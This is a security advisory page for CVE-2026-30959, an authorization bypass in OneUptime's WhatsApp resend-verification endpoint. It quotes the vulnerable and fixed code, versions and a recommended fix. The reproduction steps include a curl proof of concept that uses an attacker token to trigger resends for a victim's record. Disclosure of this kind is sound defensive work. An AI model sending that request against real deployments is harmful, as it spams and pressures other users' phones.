CVE-2026-30959: OneUptime has WhatsApp Resend Verification Authorization Bypass
Description The resend-verification-code endpoint allows any authenticated user to trigger a verification code resend for any UserWhatsApp record by ID. Ownership is not validated (unlike the verify endpoint). Affected Source - Endpoint: UserWhatsAppAPI.ts - Service: UserWhatsAppService.ts - Verify ownership (present in verify endpoint for comparison): UserWhatsAppAPI.ts Full Code Lines (UserWhatsAppAPI.ts) Resend…
Published Mar 10, 2026
Affected packages
@oneuptime/common
- Ecosystem
- npm
- Affected
- < 10.0.21
- Fixed in
- 10.0.21
- Check
npm ls @oneuptime/common
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Description
The resend-verification-code endpoint allows any authenticated user to trigger a verification code resend for any UserWhatsApp record by ID. Ownership is not validated (unlike the verify endpoint).
Affected Source
- Endpoint: UserWhatsAppAPI.ts
- Service: UserWhatsAppService.ts
- Verify ownership (present in verify endpoint for comparison): UserWhatsAppAPI.ts
Full Code Lines (UserWhatsAppAPI.ts)
Resend path (authorization gap):
this.router.post(
`${new this.entityType()
.getCrudApiPath()
?.toString()}/resend-verification-code`,
UserMiddleware.getUserMiddleware,
async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {
try {
req = req as OneUptimeRequest;
if (!req.body.itemId) {
return Response.sendErrorResponse(
req,
res,
new BadDataException("Invalid item ID"),
);
}
await this.service.resendVerificationCode(req.body.itemId);
return Response.sendEmptySuccessResponse(req, res);
} catch (err) {
return next(err);
}
},
);Verify path (ownership check present):
if (
item.userId?.toString() !==
(req as OneUptimeRequest)?.userAuthorization?.userId?.toString()
) {
return Response.sendErrorResponse(
req,
res,
new BadDataException("Invalid user ID"),
);
}Prerequisites
- Valid attacker account with access to a project
- Attacker access token
- A victim’s
UserWhatsAppitemId belonging to the same project
Steps to Reproduce
- Set your attacker token:
export ATK="Bearer <attacker-access-token>"- Trigger resend for the victim’s item:
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: $ATK" \
-d '{"itemId":"<victim-userwhatsapp-id>"}' \
http://<host>/api/user-whats-app/resend-verification-codeExpected/Observed Behavior
- HTTP 200 with
{}body and a new verification code sent to the victim’s phone - No checks confirm that
item.userIdequals the authenticated user’s ID for the resend path
Impact
- Spam/DoS against victims’ phone numbers, social engineering pressure, and potential lockout flows due to repeated resends
Recommended Fix
- Enforce ownership:
item.userIdmust match the authenticated user - Add per-item and per-user rate limiting for resends
Credited to Aryma-f4.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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